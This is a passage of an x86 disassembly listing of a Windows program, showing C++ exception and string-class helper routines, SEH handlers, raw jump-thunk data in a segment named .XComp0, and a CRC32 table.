		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43DB60
		mov	esp, ebp
		pop	ebp
		retn
sub_43D1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D220	proc near		; DATA XREF: .XComp0:off_440098o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43D1D0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43D245
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43D245:				; CODE XREF: sub_43D220+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D250	proc near		; CODE XREF: sub_43D1F0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43CFE0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_440098
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D280	proc near		; CODE XREF: sub_41098C+16p
					; sub_410D40+13p

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43D280
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_4107B0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43D2E0
		push	offset dword_4404C0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_43DB60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43D280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D2E0	proc near		; CODE XREF: sub_43D280+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43D160
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4400C0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D2E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D310	proc near		; CODE XREF: sub_43D360+Ap
					; DATA XREF: .XComp0:004404C4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4400C0
		mov	ecx, [ebp+var_4]
		call	sub_43D0A0
		mov	esp, ebp
		pop	ebp
		retn
sub_43D310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D330	proc near		; DATA XREF: .XComp0:004400C8o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43D390
		push	offset dword_4404C0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43DB60
		mov	esp, ebp
		pop	ebp
		retn
sub_43D330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D360	proc near		; DATA XREF: .XComp0:off_4400C0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43D310
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43D385
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43D385:				; CODE XREF: sub_43D360+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D390	proc near		; CODE XREF: sub_43D330+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43CFE0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4400C0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D3C0	proc near		; DATA XREF: .XComp0:00441010o
		push	ebp
		mov	ebp, esp
		call	sub_411029
		call	sub_43D3E0
		call	sub_43D400
		call	sub_43D430
		pop	ebp
		retn
sub_43D3C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D3E0	proc near		; CODE XREF: sub_43D3C0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_411048
		call	sub_423C70
		add	esp, 4
		pop	ebp
		retn
sub_43D3E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D400	proc near		; CODE XREF: sub_43D3C0+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4EA91C
		and	eax, 1
		test	eax, eax
		jnz	short loc_43D420
		mov	cl, byte_4EA91C
		or	cl, 1
		mov	byte_4EA91C, cl


loc_43D420:				; CODE XREF: sub_43D400+Fj
		pop	ebp
		retn
sub_43D400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D430	proc near		; CODE XREF: sub_43D3C0+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_43D450
		call	sub_423C70
		add	esp, 4
		pop	ebp
		retn
sub_43D430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D450	proc near		; DATA XREF: sub_43D430+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_43D450	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43D456	proc near		; CODE XREF: sub_40FD9F+145p
		nop
		jmp	near ptr 71AB4544h
sub_43D456	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Eh, 59h
		dd 0E9907167h, 71676E22h, 676724E9h, 0E9900771h, 7167C1C5h
		dd 8CE0E990h, 0E9907167h, 71683BA8h, 0B44DE990h, 75E97167h
		dd 6C716769h, 7087E990h, 0E9907167h, 71676A09h,	6791B0E9h
		dd 85E9D471h, 2871676Fh, 676BC1E9h, 0B7E93C71h,	9716756h
		dd 67573FE9h
		db 71h,	0C2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43D4B6	proc near		; CODE XREF: .XComp0:0041E7DCp
		nop
		jmp	near ptr 77C018BAh
sub_43D4B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43D4BC	proc near		; CODE XREF: .XComp0:0041E7AFp
		nop
		jmp	near ptr 77C01A50h
sub_43D4BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43D4C2	proc near		; CODE XREF: .XComp0:0041E76Ep
		nop
		jmp	near ptr 77C019FFh
sub_43D4C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0Ch, 0F9h
		dd 0E9907C3Dh, 23530A4h, 3499E990h, 0E9900235h,	2362B20h
		dd 372B1BE9h, 0E990E802h, 2372F9Eh, 30F0E990h, 0E9900237h
		dd 237330Eh, 344BE990h,	57E90237h, 2802373Ah, 3A75E990h
		dd 0E9900237h, 2382AF0h, 2E2CE990h, 0E9900238h,	2383079h
		dd 3231E990h, 0E9900238h, 23833C8h, 2AD2E990h, 6BE90239h
		dd 50023932h, 32F0E990h, 0E9900239h, 23A2AC0h, 3A37C5E9h
		dd 0E9902002h, 23B2AB4h, 2D2FE990h, 0A9E9023Bh,	11023C2Ah
		dd 3D2AA3E9h, 0E9905802h, 23E2A9Ch, 2A96E990h, 0E990023Fh
		dd 7C4C3B7Dh, 3A8FE990h, 0E9907C4Ch, 23F3245h, 402A7FE9h
		dd 56E95002h, 4B024032h, 412A73E9h, 5DE93202h, 0C202412Eh
		dd 2F15E990h, 0E9900241h, 24134B6h, 2A5AE990h, 0E9900242h
		dd 2424068h, 2A4EE990h,	0E9900243h, 2433ABAh, 3DEBE990h
		dd 0E9900243h, 2434157h, 2A36E990h, 0E9900244h,	24430DDh
		dd 452A2BE9h, 0E990D402h, 2462A24h, 3A63E990h, 0E9900246h
		dd 2464716h, 2A12E990h,	0E9900247h, 2472C23h, 482A07E9h
		dd 0A3E95802h, 58024831h, 4929FBE9h, 0E9905802h, 22B29F4h
		dd 492EBDE9h, 0E9906F02h, 24930D2h, 29E2E990h, 0E990024Ah
		dd 24A30C9h, 29D6E990h,	0E990024Bh, 24C29D0h, 2D67E990h
		dd 0E990024Ch, 24D29C4h, 29BEE990h, 0E990024Eh,	24E2E15h
		dd 329EE990h, 0E990024Eh, 24F29ACh, 29A6E990h, 0E9900250h
		dd 2503F94h, 4503E990h,	0E9900250h, 2512994h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43D66C	proc near		; CODE XREF: sub_423320+27p
					; sub_423690+13p
		nop
		jmp	near ptr 29501ADh
sub_43D66C	endp

; ---------------------------------------------------------------------------
		dw 12E9h
		dd 0E6025134h, 34C1E990h, 7DE90251h, 97025229h,	3354E990h
		dd 0E9900252h, 252336Ch, 0C4DCE990h, 24E97C41h,	97025235h
		dd 295EE990h, 90E90253h, 0F502532Eh, 3024E990h,	4DE90253h
		dd 9025429h, 2946E990h,	41E90255h, 79025629h, 361DE990h
		dd 0E9900256h, 2563791h, 57292FE9h, 0E990C002h,	2573261h
		dd 338FE990h, 0E9900257h, 25735C7h, 35FAE990h, 0E9900257h
		dd 2582910h, 2CD9E990h,	0E9900258h, 258342Eh, 3590E990h
		dd 0E9900258h, 25837C5h, 28F2E990h, 0E9900259h,	25930C0h
		dd 5930CCE9h, 0E990E802h, 25930DFh, 5A28DBE9h, 0E990DC02h
		dd 25B28D4h, 3B68E990h,	0E990025Bh, 25B3F32h, 40EDE990h
		dd 0E990025Bh, 25B4133h, 352D56E9h, 0E9906702h,	2352C6Eh
		dd 3528ABE9h, 43E93202h, 88023432h, 30CDE990h, 0C8E90234h
		dd 0FA02342Bh, 342893E9h, 0E990C702h, 2332DCAh,	29CCE990h
		dd 0E9900233h, 2332880h, 287AE990h, 0E9900232h,	23129F1h
		dd 286EE990h, 0E9900231h, 23033D6h, 302863E9h, 0E990A602h
		dd 22F285Ch, 3983E990h,	51E9022Eh, 53022E28h, 284AE990h
		dd 45E9022Dh, 0B8022C28h, 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7C0	proc near		; CODE XREF: sub_41A1B4+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_43D7CE
		xor	eax, eax
		jmp	short loc_43D803
; ---------------------------------------------------------------------------


loc_43D7CE:				; CODE XREF: sub_43D7C0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41EDA0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_43D801
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422580
		add	esp, 8
		jmp	short loc_43D803
; ---------------------------------------------------------------------------


loc_43D801:				; CODE XREF: sub_43D7C0+2Dj
		xor	eax, eax


loc_43D803:				; CODE XREF: sub_43D7C0+Cj
					; sub_43D7C0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_43D7C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_4400D0
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D840	proc near		; DATA XREF: .XComp0:off_4400D0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43D9A0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43D865
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43D865:				; CODE XREF: sub_43D840+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D870	proc near		; CODE XREF: sub_43D160+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4400D0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_423B90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_43D8C6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_422580
		add	esp, 8


loc_43D8C6:				; CODE XREF: sub_43D870+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8E0	proc near		; CODE XREF: sub_43CFE0+23p
					; .XComp0:0043D98Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4400D0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_43D94F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_423B90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_43D94D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_422580
		add	esp, 8


loc_43D94D:				; CODE XREF: sub_43D8E0+55j
		jmp	short loc_43D95B
; ---------------------------------------------------------------------------


loc_43D94F:				; CODE XREF: sub_43D8E0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx


loc_43D95B:				; CODE XREF: sub_43D8E0:loc_43D94Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D8E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_43D993
		mov	ecx, [ebp-4]
		call	sub_43D9A0
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_43D8E0


loc_43D993:				; CODE XREF: .XComp0:0043D97Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9A0	proc near		; CODE XREF: sub_43D0A0+41p
					; sub_43D840+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4400D0
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_43D9D0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43D9D0:				; CODE XREF: sub_43D9A0+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_43D9A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9E0	proc near		; DATA XREF: .XComp0:004400D4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_43D9F8
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_43D9FD
; ---------------------------------------------------------------------------


loc_43D9F8:				; CODE XREF: sub_43D9E0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"


loc_43D9FD:				; CODE XREF: sub_43D9E0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_43D9E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA10	proc near		; CODE XREF: sub_43DA50+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4400F0
		push	1Bh
		call	sub_425990
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_43DA42
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_4263E0
		add	esp, 4


loc_43DA42:				; CODE XREF: sub_43DA10+21j
		push	1Bh
		call	sub_425A30
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_43DA10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA50	proc near		; DATA XREF: .XComp0:off_4400F0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43DA10
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43DA75
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43DA75:				; CODE XREF: sub_43DA50+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43DA50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_422740
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_422740
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_422740
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_4400F0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DB60	proc near		; CODE XREF: sub_43CF80+48p
					; sub_43D070+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_4400F8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		nop
		call	near ptr 29D07FFh
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_43DB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43DBB0	proc near		; DATA XREF: .XComp0:004402C4o
		lea	ecx, [ebp-20h]
		call	sub_4107DD
		retn
sub_43DBB0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-3Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_43DBCF
		mov	ecx, [ebp+8]
		call	sub_4107DD

locret_43DBCF:				; CODE XREF: .XComp0:0043DBC1j
		retn
; ---------------------------------------------------------------------------


loc_43DBD0:				; DATA XREF: sub_4101EBo
		mov	eax, offset dword_440298
		jmp	sub_423380
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		call	sub_4107DD
		retn
; ---------------------------------------------------------------------------


loc_43DBE3:				; DATA XREF: .XComp0:004402F4o
		lea	ecx, [ebp-24h]
		call	sub_4107DD
		retn
; ---------------------------------------------------------------------------


loc_43DBEC:				; DATA XREF: sub_4103B1o
		mov	eax, offset dword_4402C8
		jmp	sub_423380
; ---------------------------------------------------------------------------
		align 4


loc_43DBF8:				; DATA XREF: sub_410E33o
		mov	eax, offset dword_4402F8
		jmp	sub_423380
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_4107DD
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43CF80	proc near		; DATA XREF: sub_43CF80+5o
		mov	eax, offset dword_4403D0
		jmp	sub_423380
SEH_43CF80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_43D9A0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43CFE0	proc near		; DATA XREF: sub_43CFE0+5o
		mov	eax, offset dword_4403F8
		jmp	sub_423380
SEH_43CFE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_43D9A0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43D0A0	proc near		; DATA XREF: sub_43D0A0+5o
		mov	eax, offset dword_440440
		jmp	sub_423380
SEH_43D0A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_43D9A0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43D160	proc near		; DATA XREF: sub_43D160+5o
		mov	eax, offset dword_440468
		jmp	sub_423380
SEH_43D160	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_4107DD
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43D280	proc near		; DATA XREF: sub_43D280+5o
		mov	eax, offset dword_4404D0
		jmp	sub_423380
SEH_43D280	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0D8h	dup(0)
		dd 47F172F9h, 0
		dd 2, 68h, 0
		dd 57E00h
dword_43E01C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
